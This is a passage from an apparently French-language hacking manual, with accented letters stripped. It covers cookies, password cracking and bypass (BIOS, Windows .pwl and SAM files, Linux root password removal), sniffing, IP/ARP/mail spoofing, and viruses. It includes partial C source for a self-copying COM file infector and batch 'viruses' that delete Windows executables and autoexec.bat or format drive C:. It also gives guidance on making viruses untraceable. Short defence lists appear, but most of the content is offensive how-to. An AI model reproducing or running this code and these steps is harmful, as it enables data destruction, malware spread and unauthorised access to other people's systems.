Len-tte Set-Cookie : il est insr dans len-tte dune rponse envoye par un serveur un client dans le but de le positionner chez le client. Voici sa syntaxe: Set-cookie : NOM=VALEUR ; expires=DATE ; domain=DOMAINE ; path=CHEMIN; secure Nom du cookie et sa valeur (champ obligatoire) Date dexpiration du cookie (champ optionnel) Permet de spcifier le domaine pouvant avoir accs au cookie (champ domain=DOMAINE optionnel). Si ce champ nest pas spcifi seul le serveur ayant cr (ou gnr) le cookie peut y avoir accs. path=CHEMIN Permet de spcifier le prfixe des URL o le cookie est utilis et appliqu (champ optionnel) NOM=VALEUR expires=DATE

95

secure

Champ qui, sil est mis, envoie le cookie et sa valeur seulement lors de connexions chiffres laide de SSL.

Len-tte Cookie : permet dinclure la valeur dun ou plusieurs cookie(s) dans une requte HTTP lintention dun serveur. Voici sa syntaxe : Cookie : Nom1=Valeur1 ; Nom2=Valeur2 ;

Comment les serveurs accdent aux cookies ? :


Lorsque vous visitez un site qui a plac un cookie sur votre systme, votre navigateur va vrifier sil a un cookie appartenant au site quil visite en comparant le nom du site et la liste de cookie quil a. Si la rponse est affirmative, il compare lurl de la requte HTTP du site demandant le cookie et le champ path du cookie ; sil y a concidence entre ces 2 arguments, et que la date dexpiration nest pas atteinte alors le cookie est envoy au serveur. Si plusieurs cookies ont pass tous les test de validits prcdents, ils seront tous envoys au site grce len-tte Cookie tudi prcdemment. Si la date de validit du cookie est atteint, alors le cookie est supprim directement.

Fausses informations:
Les cookies ne sont pas des virus, car ce sont simplement des fichiers textes ouverts avec le bloc note donc il est impossible de pouvoir faire excuter des scripts sur le poste du client. Comme un cookie ne peut tre ni un script ni un virus ni un programme, alors il ne peut pas lancer de recherche sur le systme du client dans le but dy rechercher des informations. Comme le stockage des cookies est limit, il est impossible de porter une attaque de type DoS sur le systme du client (en tout cas pour le moment, on ne sait jamais ce que lavenir nous rserve).

96

97

Cracking et contournement de mots de passe


Ce chapitre pratique est orient comprhension des techniques du piratage des mots de passe. Avant de continuer, je veux vous prvenir que je ne dcrirais pas la technique qui consiste essayer manuellement des mots de passe car des fois on est limit dans le nombre d' essais.

BIOS :
Il existe diffrentes techniques pour enlever ou cracker un mot de passe BIOS. Pour savoir comment l' accde au Bios, comment il fonctionne, rfrez-vous au on manuel de votre carte mre.

le cavalier :
La technique la plus simple et qui fonctionne chaque fois est le dplacement du cavalier (jumper) qui a pour but deffacer les donnes contenues dans le CMOS (cf le manuel de votre carte mre). Ce cavalier est gnralement situ ct de la ROM BIOS. Protocole : changer le cavalier de positions (gnralement en position 2-3) attendre quelques secondes puis le replacer en position initiale. Si tout s' bien pass, on ne est devrait plus avoir de mots de passe au dmarrage.

un peu de technique :
En dcidant de travailler sur la carte mre pour avoir le mot de passe BIOS, on peut flasher le Bios en le reprogrammant l' reprogrammateur de EEPROM. Il y a aide bien sr une chance sur deux de russir. De plus, il faut avoir des bases en lectronique, en hardware, ou en overclocking car on risque de perdre votre carte.

la pile :

98

Cette technique ncessiter aussi de travailler sur la carte mre. Cette pile se situe sur la carte mre, elle permet la sauvegarde d' informations comme lheure systme Il faut la localiser puis la dcharger en l' enlevant pendant une journe voir plus.

des logiciels :
Certains logiciels nous propose de voir le mot de passe BIOS du systme. Mais il faut avoir au moins une fois accs au systme d' exploitation pour pouvoir les installer. Voici 2 logiciels permettant de voir le mot de passe du BIOS : AMI BIOS RECOVER AWCRACK

les fichiers de mots de passe :


Pour trouver les mots de passe des fichiers password (ou fichiers de mots de passe), il faut utiliser les logiciels de cracking de mots de passe. Les plus importants sont John the Ripper, LophtCrack du Lopht, Crack

Windows 95/98 et les fichiers .pwl :


Le fichier de mots de passe de Windows 9x est le fichier ayant comme extension .pwl se situant dans le rpertoire C:\Windows\. Ce fichiers est bien sr crypt et les logiciels cits prcdemment sont capables de le dcrypter. Pour rcuprer ce fichier, il y a une panoplie de choix. Les techniques les plus simple seraient : - l' utilisation dune disquette contenant un fichier batch qui aurait pour but de copier le fichier .pwl du rpertoire C:\Windows\ vers la disquette pour quon le dcrypte sur son ordinateur. Le fichier batch pourrait contenir un code du genre : copy C:\Windows\*.pwl a: - de contourner l' utilisation des fichiers .pwl ds le dbut du lancement de l' ordinateur. Il faut pour cela avoir un cran MS-DOS l' d' disquette aide une de dmarrage et renommer tous les fichiers .pwl en ce que nous voulons, normalement on devrait pouvoir accder au systme sans mot de passe ou pouvoir affecter un nouveau mot de passe au compte.

Windows NT et le fichier SAM :


Le fichier de mot de passe de Windows NT est le fichier SAM qui situe dans le rpertoire C:\Windows\system32\config\ ou C:\WinNT\system32\config ( vous de voir, c' peut-tre autre chose) . est

99

Le fichier SAM se craque l' de lophtcrack, john the ripper, crack5. aide Pour rcuprer le fichier SAM, on peut : - soit dmarrer lordinateur avec un autre systme et prendre le fichier SAM qui nest plus protg par le systme Windows. - soit installer (il faut pouvoir installer des utilitaires) NTFSDOS (le pilote du systme de fichier NTFS) pour monter les partitions NTFS en lecteur DOS logique. On peut maintenant prendre le fichier SAM qui nest plus protg par Windows. - soit le rcuprer dans le rpertoire C:\Windows\repair\ ou encore C:\WinNT\repair\ qui correspond lutilitaire de rparation de disque ou de dpannage. Le fichier SAM est gnralement sous forme : sam._ - On peut aussi utiliser une technique cre avec des hooks systmes ou dautres fonctions des APIs Windows pour prendre le fichier SAM distance ( laide de vers-virus par exemple) ou utiliser une technique dinjection DLL. - soit utiliser les cls HLM\SECURITY\Policy\Secrets qui possdent des informations que seul votre systme doit connatre : des informations confidentiels comme des mots de passe.

Unix et ses fichiers passwd et shadow :


Unix utilise des fichiers distants pour stocker les logins et les mots de passe, respectivement /etc/passwd et /etc/shadow. Pour les dcrypter, on peut soit utiliser john the ripper, soit crack. Pour les rcuprer, on peut infiltrer le serveur NIS quaurait peut-tre install l' administrateur, copier les fichiers passwd, shadow et group du rpertoire /etc/NIS, ou contourner l' authentification par mot de passe l' de LILO. aide LILO est une application charge de lancer Linux la fin des actions du BIOS. LILO est une application double tranchant car il permet de dmarrer un systme Linux l' d' aide arguments fournit par l' utilisateur. Il peut servir faire de la maintenance mais aussi dmarrer des systmes sans mot de passe. Pour accder linvite LILO, il faut garder la touche MAJ du clavier appuye lors du dmarrage de lordinateur. Normalement, il devrait y avoir un truc du genre LILO: . Vous pouvez alors : - soit taper linux single (sans les guillemets) puis mount w n o remount/ qui remonte la partition en lecture/criture. Maintenant ditez le fichier /etc/passwd pour quil ressemble :

100

root::0:0:root:/root:/bin/sh (sans les guillemets). Si linux utilise le fichier shadow pour stocker les mots de pass, /etc/passwd doit ressembler : root:x:0:0:root:/root:/bin/sh (sans les guillemets). - soit taper <nom_image_du_kernel>
init=[un_shell_par_ex,_sans_les_crochets]

les mots de passe des crans de veille :


Les crans de veille avec un mot de passe sont de trs bons systmes pour masquer ce que l' fait sur son bureau lorsque l' s' on on absente deux minutes. Voyant les diffrentes techniques de contournement des crans de veille

le simple redmarrage :
Pour contourner un cran de veille ayant un mot de passe, le redmarrage est un bon moyen qui ,cela est vrai, ne sert rien, car la personne effectuant ce redmarrage ne pourra voir ce que vous tiez en train de faire.

les logiciels :
Vous pouvez aussi utiliser les logiciels comme Sreen Saver Password (www.ptorris.com). Ce logiciel fonctionne avec le fichier user.dat disponible dans le rpertoire de la session de l' utilisateur soit C:\Documents and Settings\[nom_de_utilisateur] sous Windows XP Pro service Pack 1. Pour les autres systmes bas sur NT, explorer vos rpertoires C:\ ou C:\Windows\ ou encore C:\Windows\Profiles\ la recherche du rpertoire de la session cible.

regedit :
Le mot de passe de l' conomiseur dcran est aussi situ dans la base de registre, dans la cl : HKEY_Users\.Default\Control Panel\ScreenSave_data La cl peut changer selon votre version de Windows. Vous pouvez aussi fouiller les cls commenant par HKEY_CURRENT_USER\ ou
HKEY_USER\

Astuce : crer un programme qui parcourt les prcdentes cls la recherche d' informations.

101

autorun.inf :
Les CD peuvent, sils sont quips d' fichier autorun.inf, lancer automatiquement un des fichiers ou programmes ds leur entre dans le lecteur CD-ROM. Cette caractristique fonctionne aussi lorsque l' lance l' on cran de veille. Donc imaginer un CD ayant un fichier autorun.inf qui contienne ladresse (sur le cd) d' un cracker de mots de passe d' cran de veille aprs open= du fichier autorun.inf . Pour information, tout les chemins daccs des logiciels ou des fichiers tant aprs open= sont excuts automatiquement lors de l' insertion du cd dans le lecteur.

divers :
Il existe des logiciels pour cracker diffrents types de documents protgs par mots de passe comme les fichiers ZIP, ARJ Des sites comme celui de Pierre Torris (www.ptorris.com) et la plupart des sites warez proposent des crackers de mots de passe de tout genre.

Cracking dune scurit javascript :


Certains sites utilisent ce mcanisme pour filtrer les personnes autorises accder une page. Comme on ne peut accder au code source de la page quaprs stre bien authentifi, les webmasters marquent parfois le mot de passe en clair dans le code inclut entre les balises javascript (qui est affich dans le code source contrairement au PHP). Notre but est de dcouvrir ce mot de passe daccs. Pour cela, ouvrez votre navigateur et le dossier Temporary Internet Files . Puis connectez-vous la page protge avec laide de votre navigateur et entrez un mot de passe bidon. Allez ensuite dans le rpertoire ouvert et recherchez la page correspondant la page frachement visite et tant protge. Astuce : videz le rpertoire Temporary Internet Files avant de faire la manuvre. Lorsque vous laurez trouv, ouvrez-la avec un diteur HTML ou avec le bloc note, recherchez le code javascript puis le mot de passe qui est soit en clair, soit chiffr. Maintenant, rafrachissez la page protge et entrez le mot de passe trouv

102

Parades :

- la 1re parade consiste choisir un bon mot de passe. - la 2me parade consiste modifier la mthode d' authentification quutilisent les logiciels et les systmes d' exploitation.

103

104

Sniffing
Le sniffing est une technique du piratage que l' dit passive. C' surtout une on est technique servant espionner le trafic dun systme en surveillant et en copiant les paquets non crypts circulant sur le rseau cible : cela va permettre de rcuprer diverses informations importantes pour un pirate. Contrairement ce que vous pouvez croire et se que certains sites font croire, un sniffer ne permet pas d' espionner distance un systme loign et ne permet pas de contrler la formation, le forgeage, la route et lacheminements dun paquet. La principal source de russite du sniffing est que les informations (mots de passe, logins, mails, requtes) circulant dans le rseau ne sont pas cryptes. Comme il a t dit plus haut, un sniffer (logiciel permettant de faire du sniffing) ne capture que les paquets passant par la carte rseau du systme sur lequel il est install. Donc pour espionner le trafic du systme cible, il faut que ces paquets transitent par notre carte rseau. Un peu de pratique maintenant.

comment espionner un trafic rseau :


le mode promiscuit :
Avant, taient les rseaux poste poste. Ds qu' systme mettait un paquet, tous un les autres systmes connects lmetteur recevaient le paquet. Ctait la carte rseau qui s' occupait de savoir qui tait destin le paquet et laffichait ou non. Cela grce un filtre. Bien sr, ce filtre pouvait tre enlev, en faisant passer la carte rseau en mode promiscuit.

ARP :
(cf le chapitre sur le dtournement de sessions et le spoofing) Cela consiste associer l' adresse IP de la passerelle par dfaut notre adresse MAC (l' adresse de notre carte rseau) . Comme cela, le trafic du systme cible passera par notre carte rseau. Cette manipulation est effectuer sur les systmes s' occupant du routage comme les switchs, les routeurs ou sur le systme cible. Pour que le trafic du rseau ne soit pas modifi et pour que lon ne remarque pas cette usurpation, on

105

doit activer lIP forwarding et ajouter une entre dans la table ARP de la cible pour la vritable passerelle par dfaut. On peut aussi modifier la table de routage du rseau de la cible. Le rsultat sera le mme, associations de notre adresse MAC l' adresse IP de la passerelle par dfaut.

lien direct :
On peut se connecter directement au systme cible : - soit en appelant le modem de la cible avec le notre (c' la technique la plus est simple qui ne marche peut-tre plus encore) : on doit alors connatre le numro de son modem que lon peut obtenir grce au wardialing. - soit en utilisant une faille du genre : exploit netbios - soit en utilisant un cheval de troie.

les diffrents sniffers :


Il existe diffrents sniffers pour tous les systmes dexploitation: - TCPdumps - Ethereal - dsniff - sniffit - LANWatch - Esniff - ATM sniffer - LinSniff -

Parades :

- utilisez anti-sniff (qui repre les sniffers et les cartes rseau en mode promiscuit), - cryptez les paquets circulant sur le rseau, - vrifiez rgulirement les tables de routage, - dsactivez les protocoles non utiliss.

106

107

Le spoofing
Le spoofing est une technique de piratage qui a pour but dusurper les droits d' une personne ou de fournir de fausses informations pour se camoufler ou passer les systmes de scurit. Il existe plusieurs types de techniques de spoofing ayant des degrs de difficults variables. Il y a par exemple le SMS spoofing, le mail spoofing, lIP spoofing, le DNS spoofing, lUDP spoofing, , lARP spoofing, le MAC spoofing (en rapport avec les adresses MAC) et on peut inventer encore pleins de technique ! Comme certains pourrait le croire cet ouvrage ntablit pas les bases pour crer de nouvelles attaques, il veut seulement expliquer quen analysant les systmes et les protocoles qui servent au bon fonctionnement des rseaux, on peut trouver des faiblesses qui vont permettre de modifier certaines donnes ou d' intercepter certains signaux ou messages pouvant servir passer certaines scurits et faire croire un systme qu' dialogue et fonctionne normalement. Cette mthode d' il analyse est aussi utilise dans lhijacking (dtournement de session et de connexion). Voyons maintenant diffrentes techniques de spoofing.

le SMS spoofing :
le SMS spoofing consiste envoyer des SMS avec un numro d' expditeur ne nous appartenant pas. Cela est possible l' de logiciels comme Text2gsm aide (www.download.com) ou en crant ses propres scripts.

le mail spoofing :
Le mail spoofing consiste envoyer des e-mails avec une adresse d' expditeur falsifie. Cela est possible l' de logiciels (comme toujours) servant envoyer des e-mails aide ou faire du mail-bombing, l' de scripts en PHP ou en PERL que vous pouvez aide dvelopper. La technique de mail spoofing prcdemment explique est la plus connue car est la base du spam. Maintenant, imaginez un serveur pop/imap secret, le serveur de l' entreprise ou d' un gouvernement. Disons qu' pirate a dcouvert son existence et quil a russi un obtenir une dizaine d' adresses de comptes mails tant hbergs sur ce serveur.

108

Pour savoir qui ils appartiennent, et les informations de connexion aux comptes, il dcide d' envoyer des messages lectroniques aux adresses obtenues en se faisant passer pour ladministrateur. Pour l' occasion, ils crer un client de messagerie intgrant un mcanisme d' accuser rception indiquant que le mail a bien accd au serveur pop/imap cible. Mais aprs avoir envoy les mails, il ne reoit toujours pas de rponses et dcide d' infiltrer le serveur. Il passe des heures inspecter de fond en comble la machine et accde enfin aux informations qui voulait : les logins et les mots de passe des mail box. Tout content, il se dconnecte aprs avoir effacer ses traces. Le lendemain, en cours (car il y a quand mme des pirates tant jeunes), il repense soudain son exploit de la veille et se demande pourquoi ces mails n' pas accd ont au serveur pop. Le soir venu, il se reconnecte au serveur et aprs une analyse minutieuse, il dcouvre enfin que les mails sont filtrs au niveau des en tte SMTP avant d' dposs sur le serveur; il comprend vaguement que les e-mails doivent tre avoir un certain mot dans leurs en tte pour tre accepts. Aprs des heures d' exprimentation, ces mails accdent enfin au serveur cible. Ce petit scnario imagin a essay de faire comprendre que l' pouvait crer des on mcanismes de filtrage mme au niveau des messages lectroniques et que tout peut tre contourner avec un peu de connaissances.

lIP spoofing
Cest l' attaque la plus connue peut-tre grce Kvin Mitnik, le hacker le plus mdiatis du monde, qui avait, daprs ce que lon dit, russi son attaque en faisant une prdiction des numros des squences : nous verrons plus tard en quoi cela consiste. LIP spoofing consiste forger des paquets avec une adresse IP source ne nous appartenant pas, notre adresse IP ne change pas ! contrairement ce que pourraient croire certaines personnes. En gros, on va truquer des paquets que nous enverrons notre cible. D' abord, voyons quelques concepts thoriques.

109

Il n' existe pas de techniques toutes faites pour faire du spoofing car cela dpend de l' environnement dans lequel on se trouve : - si le systme de scurit se trouve dans le mme segment rseau que notre systme ou dans le mme rseau local, nous naurons qu forger des paquets SYN et ACK, les envoyer, corriger leur cheksum l' dun sniffer, sniffer la rponse du systme cible, voir son aide numro ACK, lincrmenter d' unit et renvoyer le paquet ACK une corrig dans un bref dlai. Cette technique, aussi simpliste qu' soit elle demande quelques rptitions et ne peut se faire d' coup. un - Si le systme cible est loign de notre systme, se trouve dans un autre rseau : il peut y avoir deux solutions : soit le systme cible renvoie un paquet SYN/ACK l' adresse spoofe. Il ne nous reste alors plus qu' contrler le systme qui appartient lIP spoof, y installer un sniffer pour obtenir le paquet envoy par le systme cible et renvoyer un paquet ACK corrig.

110

soit on ne reoit pas de paquets SYN/ACK. Il va falloir prdire les numros de squences valides. Pour nous aider, on peut faire un fingerprinting du systme cible pour avoir une estimation de la difficult de la prdiction des numros les squences. Le clbre Nmap intgre cette fonctionnalit. Le cours sur l' spoofing est finie, vous avez du remarquer que cette technique est IP trs puissante et demande quelque connaissances sur TCP/IP. titre informatif, l' IP spoofing est la base de lidle host scanning.

Parades :
-

il faudrait que les paquets qui circulent sur le rseau soit crypts, empchez l' identification du systme d' exploitation tournant sur votre systme en mulant ou en modifiant l' implmentation de TCP /IP sur le systme, changez les techniques de filtrage habituel, par exemple, contre un jeu de questions/rponses crypts entre les 2 systmes.

lUDP spoofing :
LUDP spoofing fonctionne peu prs comme lIP spoofing : il faut forger des paquets truqus. UDP est un protocole fonctionnant en mode dconnect au niveau 4 du modle OSI. Que signifie en mode dconnect ? cela veut dire que UDP ne cherche pas tablir des connexions entre les systmes, il se contente juste d' bon cheksum, d' un une adresse IP source et de destination, dun port et des donnes. Cela nous facilite grandement le travail car on n' qu' forger les paquets UDP, y a insrer l' source, lIP de destination, y mettre les donnes que l' veut et envoyer IP on le tout. Le cheksum est automatiquement dtermin. Pour forger des paquets UDP, on peut utiliser RafaleX, Hping2, Winject

le MAC spoofing :
Cela consiste en la modification de l' adresse de sa carte rseau.

le DNS spoofing :

111

Il existe 2 types de technique de DNS spoofing, nous en avons vu une (au chapitre sur les outils et utilitaires automatiss) qui consiste faire des requtes un serveur DNS sachant que normalement seuls les serveurs DNS secondaire sont censs faire ces requtes. La 2me technique les DNS spoofing a pour but de faire correspondre un nom dhte au systme de notre choix. L' exemple le courant est le dtournement d' session pour rediriger la cible sur un une site de notre choix. Cela est possible l' de systmes de relais de paquets que l' aurait crs ou aide on contrls (cf les chapitre sur les dtournements de sessions) .

ARP spoofing :
D' abord, voyons qu' est la fonction du protocole ARP. elle ARP est un protocole qui a pour but de rsoudre des adresses IP en adresses MAC. Lorsqu' machine veut communiquer avec une autre machine dont elle connat lIP, une elle va envoyer une requte ARP tous les systmes d' rseau ( l' du un aide broadcast) demandant l' adresse MAC de IP spcifie. La machine cible concerne va donc lui rpondre en lui donnant son adresse MAC. Cette rponse va tre ensuite inscrite dans le cache ARP de la premire machine. Toute cette manuvre est excute si et seulement si la machine A n' pas encore a d' entre correspondant la machine B dans son cache ARP. Toutes les attaques de ARP spoofing ont pour but de faire passer par le systme pirate le trafic rseau de notre cible. On va voir ensemble trois techniques de ARP spoofing qui consiste envoyer une requte ARP (gnralement notre cible) pour lui dire que notre adresse MAC est associ l' adresse IP choisie (gnralement une passerelle par dfaut, un routeur ou tout simplement le systme cible, si l' veut espionner le trafic entre deux systmes on bien dfinis) .

1re technique :
Elle n' possible que si le cache de la cible ne contient pas encore d' est entre correspondant la machine dont on veut usurper ladresse IP. Cela va donc consister en la cration d' entre dans le cache cible. Pour cela, il va falloir que l' forge un une on paquet ARP associant notre adresse MAC l' adresse IP a usurper. Puis, cette tape finie, on va devoir envoyer ce paquet la cible, directement la cible (en unicast par

112

exemple). Le paquet ARP doit tre en mode who-as et avoir comme IP source, celle a usurper, et comme adresse MAC source, la notre.

et si on mettait son cache jour ?


Cette technique doit tre utilise que si l' sait que le cache cible a dj une entre on non statique dans son cache ARP correspondant l' adresse IP que l' veut usurper. on On va devoir forger un paquet ARP en mode reply que l' va envoyer la cible. on Le paquet doit avoir comme IP source, celle a usurper, et comme adresse MAC source, la notre.

et si on faisait la course ?
Cette technique va demander rapidit d' analyse et d' envoi de paquets et de nombreuses rptitions de notre part pour tre prts le jour J. Lorsque la machine cible envoie un paquet au broadcast pour connatre l' adresse MAC de lIP spoofer, on va devoir renvoyer une rponse la machine mettrice, le plus vite possible et invalider la machine devant normalement rpondre pour qu' elle ne puisse le faire. Aprs avoir fait une de ces techniques, il faut activer (mettre 1) lIP forwarding. Il existe divers programmes servant faire de lARP spoofing, en voici une liste : Dsniff de Dug Song : qui a certains modules permettant de faire de lARP spoofing et dautres attaques comme celle du MITM. Jarpspoofing arp-sk

Parades :

- il y a une parade digne de ce nom pour contrer cela, elle consiste mettre des entres statiques dans le cache ARP. Bien sr cela est possible que pour les systmes de type routeurs, passerelles par dfaut, serveurs - sinon, il y a une autre solution qui consiste mettre en place une machine qui va questionner un serveur DHCP, ou un autre type de serveur, avant qu' entre soit ajoute dans le cache ARP d' des une un systmes du rseau. Bien sr, les pirates peuvent infiltrer et dtourner ce systme leur profit mais cela reste quand mme une solution.

113

114

Programmes infectants et lutte anti-virale


Un programme infectant est un bout de code auto-reproducteur ou non qui excute les actions, gnralement malfaisantes, de son constructeur. Nous allons d' abord voir diffrents types de virus puis nous allons tudier la construction d' virus en observant sa constitution, en dernier, nous allons voir les un diffrentes mthodes de transmission du virus. Virus Programme ntant pas auto-reproducteur (dit programme simple), qui a pour but de se copier dans dautres programmes encore sains et dexcuter ce pourquoi il a t cr. Programme auto-reproducteur qui voyage de systmes en systmes dans le but de se multiplier. Virus gnralement simple qui a pour but de donner son concepteur ou celui qui la frauduleusement introduit dans un systme le contrle de ce dernier. Ce type de virus est prsent sur le systme de manire permanente et est cr pour contrler un/des lments prcis. Virus qui a la possibilit de modifier son code dans le but de ne pas tre indtectable. Virus qui a not les paramtres du systme avant de le contrler et qui fait croire au systme quil est normal. Virus cr dans le but de prouver quun systme anti-virale prcis nassure pas son rle. Virus qui utilise une des caractristiques du DOS pour fonctionner. En faite lorsquun programme est mis dans un rpertoire, si lon crer un programme COM du mme nom que le programme excutable, quon le place dans le mme rpertoire que lhomonyme excutable et que lon essaie daccder lexcutable, le DOS prfre excuter le fichier COM en premier. Maintenant si le fichier COM est un virus, on appelle cela un virus compagnon. Virus se dupliquant dans des sections systmes contrairement aux autres virus qui se copient dans des fichiers.

Vers Troyen

virus rsident virus polymorphe virus furtif Rtro-virus virus compagnon

virus systme

On peut crer des virus avec nimporte quel langage, mais noublier pas que les vrais programmeurs de virus prfrent le langage assembleur car il est plus proche du

115

systme et les programmes en assembleur sont de petites tailles. Donc que les futurs crateurs de programmes infectant se mettent apprendre leur futur langage cl. Certains pourraient dire que je donne les armes au public pour la cration de virus, mais qu' sachent que mon but premier n' pas la formation d' ils est apprentis programmeurs des virus mais plutt de faire comprendre l' enjeu des actions d' virus un pour que la communaut des internautes sache quoi elle est expose face ces petits programmes.

constitution d' programme infectant : un


la base, tous les programmes infectant ont la mme constitution : - une routine de recherche de lieux infecter (gnralement des fichiers) - une routine de copie de code - une routine de non-dtection de la prsence du virus - une charge (ce pourquoi il a t cr) Maintenant, voyons qu' devrait tre la constitution d' programme infectant elle un parfait : - pouvoir sexcuter sur tous les systmes sans problme et sans toucher au code. Cela est possible grce aux langages REBOL et Perl (il y en a dautres bien sr). - avoir de bonnes routines de recherche de fichiers ou de systmes. - pouvoir faire des copies de lui mme dans des endroits o l' ne on pourra pas le dtruire facilement : comme dans le noyau du systme, dans les espaces mmoire, le BIOS, dans des squences de boot - tre invisible, se camoufler pour qu' soit indtectable et intraable. il Son invisibilit peut passer par lutilisation de techniques de polymorphisme. - se suffire lui-mme au moyen de moteurs, de bases de donnes, de librairies de fonctions puissantes. Ne pas utiliser les fonctions ou APIs proposes par les systmes pour qu' garde sa portabilit. il - pouvoir voluer dans l' environnement dans lequel il se trouve. Cela peut se traduire par la cration dun ver qui analyse le systme sur lequel il se trouve puis tlcharge le bout de code qui lui manque pour voluer dans l' environnement du systme sur lequel il se trouve. - ne pas avoir de nom. - excuter seulement ce pourquoi il est crit. - se supprimer quand il a accompli son devoir. - noter les informations quil modifie dans le but de tout remettre en ordre sur le systme cible lorsqu' n' pas pu accomplir son devoir pour il a quaucune personne ne remarque son passage. - son code ne doit pas contenir de commentaires pour que l' ne puisse on remonter son dveloppeur.

116

Ces caractristiques ont t dveloppes partir du projet Samhein de Zalewski (http://lcamtuf.coredump.cx) que vous pouvez consulter pour avoir d' autre conseils.

comment transmettre les programmes infectant :


Cette partie du chapitre ne sera pas de grande taille, malgr le nombre incalculable de possibilits de transmission d' programme infectant. Nous allons en voir certains un sans les dtailler car soit elles sont simples comprendre, soit les techniques expliques sont dj dtailles dans le livre. Comme devoir, vous pouvez essayer de trouver d' autres moyens de transmission : prenez cela comme un exercice ayant pour but de vous faire penser comme un pirate. Les programmes ou script infectant et malveillant peuvent tre transmis par disquette, disque dur, CD-ROM (contenant un fichier autorun.inf), DVD ROM, par le web, enttes HTTP, SMTP, MIME modifies, tlchargement dans le cache Internet, e-mail, pices jointes, technologies du web (comme ActiveX, Javascript), contournement des filtres, logiciels tlchargs, compression zip (qui peut faire voyager un virus sans contaminer les postes sur lequel il passe : on est contamin si l' dcompresse le on virus)

la lutte anti-virale :
Nous allons observer les trois principales techniques de recherche anti-virale : - analyse des signatures : qu' est-ce que la signature d' programme ? un c' tout simplement une suite de donns (bits, caractres) est caractrisant le programme. Il en est de mme pour les programme infectant.. Pour informations, les IDS fonctionnent sur ce principe d' analyse , ce qui est leur principal erreur car cette protection peut-tre contournes. - l' analyse heuristique : c' une technique anti-virale plutt volue : est car elle consiste tudier et surveiller le comportement des programmes. Ds qu' programme se comporte comme un virus, il le un dfinit comme un virus. - l' analyse spectrale : l' antivirus va analyser ce que fait le programme en recherchant la liste des instructions. Sil voit quune instruction spcifique aux programmes infectant y est prsente, il met automatiquement le programme en quarantaine.

Informations supplmentaires
la signature dun virus

117

La signature peut tre change (en faisant par exemple un virus polymorphe). Pour vous donner un aperu de laspect dune signature, en voici 2 de virus connus : Virus Brain (cest un virus de secteur de disquettes qui dtourne linterruption 13 pour se camoufler.) Vendredi 13 (cest un virus rsident qui infecte tout type dexcutable et dtruit tous les vendredi 13 les excutables lancs.) Signature 8CC88ED88ED0BC00F0FBA0067CA2097C8B0E 077C890E0A7CE85700 1E8BECC746100001E80000582DD700B104D3E8 8CCB03C32D100050

TSR
Les programmes rsidents sont des applications particulires. Ils sont dvelopps de la mme manire que les autres programmes mais ne finissent pas de la mme manire que ces derniers. De plus, le DOS rserve une mmoire spciale pour les TSR. Ce segment de mmoire est protg contre lcriture par dautre programmes. Pour crire un programme TSR, il faut suivre certaines rgles : - vrifier sa prsence avant den charger une copie. - il ne doit pas utiliser la pile dexcution des autres programmes (il doit donc avoir sa propre pile dexcution). - utiliser plus dinterruptions que de fonction DOS ou Windows.

Virus COM
Voici lextrait dun virus COM dvelopp pour cet ouvrage. Par mesure de scurit il nest pas trs dangereux et nest pas donn en entier. Son fonctionnement est le suivant : lorsquil est charg, il cr un fichier et crit dedans, puis il ajoute une ligne au fichier autoexec.bat qui va imprimer le fichier texte, cr auparavant, ds le dmarrage suivant du systme (si limprimante est allume bien sr). Pour finir, il cherche des fichiers COM se trouvant dans le rpertoire dans lequel il est, pour sy copier. Il sera activ ds que lutilisateur du systme appellera un programme (ayant un fichier COM du mme nom et dans le mme rpertoire) par lintermdiaire du shell DOS.
#DEFINE BYTE xxxx compilation // taille du virus la

118

copy() { FILE *point, *new_point; int next; struct ffblk infect; char pres, buffer[BYTE]; pres = _argv[0]; next = findfirst("*.COM", &infect, 0); point = fopen(pres, "rb"); new_point = fopen(infect.ff_name, "rb+"); fread(buffer, BYTE, 1, point); fwrite(buffer, BYTE, 1, new_point); fcloseall(); return 0; } write_batch() { FILE *file, *txt; char chaine, buff[]; size_t taille; int vtaile; chaine = "COPY C:\FICHIER.TXT PRN"; file = fopen("C:\AUTOEXEC.BAT", "rt+"); txt = fopen("C:\FICHIER.TXT", "w+"); fprintf(txt, "Vous vous tes fait avoir par le virus COM de KHAALEL !!!"); taille = strlen(chaine); vtaille = (int) taille; vtaille -= vtaille * 2; if (vtaille < 0) { fseek(file, vtaille, SEEK_END); fread(buf, vtaille, 1, file); buf[vtaille] = 0; if (strcmp(buf, chaine)) { fseek(file, 0, SEEK_END); fprintf(file, chaine); } fcloseall();

119

return 0; } main() { write_batch(); copy() return 0; }

Fichiers BAT
Avant de lire la suite, fates un saut vers lannexe sur les commandes DOS pour pouvoir les connatre. Voici 4 fichiers BAT : les 3 premiers sont des virus, le dernier est juste un utilitaire qui affiche les excutables et les fichiers COM dun systme sous Windows 2000. Si vous voulez que ce dernier fonctionne sous les autres systmes Windows, vous allez devoir modifier where /r C:\ *.[extension] par DIR
C:\*.[extension] /A:-D /S .

1er fichier BAT :


@echo off cls echo Bonjours, echo je suis un petit virus, mais chuuuuuuuut, faut pas le dire. echo. erase c:\windows\*.exe erase c:\windows\*.com erase c:\autoexec.bat pause echo Bonne chance !!!

2me fichier BAT :


@echo off echo Bonjours, echo je suis un gentil petit virus qui ne va pas dtruire vos fichiers! echo. echo je vous entend dj dire echo Ouuuuuuuuuuf !!!!!!!!!! echo. pause echo Je veux jouer !!! dir/p c:\windows\ dir/p c:\

120

dir/p c:\windows\ echo Au revoir!!!

3me fichier BAT :


// Ceci est un virus. Cest un jeux, o vous devez choisir entre le chiffre 1 et 2, puis vous saisissez votre choix et la touche entre. Si vous choisissez 1, le fichier formate le lecteur C : soit le disque dur, si vous choisissez 2, il supprime tous les excutables et les fichiers COM du rpertoire Windows.// SET Choix= SET Choix=%1 IF %Choix%VIDE==VIDE GOTO Prototype IF %Choix%==1 GOTO Win IF %Choix%==2 GOTO Erra IF %Choix%==/? GOTO Prototype IF %Choix%==help GOTO Prototype :Prototype echo Ceci est un jeux. Vous devez choisir entre 1 et 2, tapez votre choix puis la touche entre. echo. echo Voici la syntaxe [Nom_fichier] 1 GOTO Pause :Win echo Dommage, vous avez choisi 1, vous gagnez le formatage du lecteur C. echo. format C : GOTO Pause :Erra echo Dommage, vous avez choisi 2, vous gagnez leffacement de tous les excutables et fichiers COM de c:\Windows\. Echo. Erase c:\windows\*.exe Erase c:\windows\*.com GOTO Pause :Pause

4me fichier BAT:


@echo off echo Bonjours!!! echo Je suis un petit utilitaire qui va vous montrer tous les fichiers excutables et fichiers COM de votre systme. echo.

121

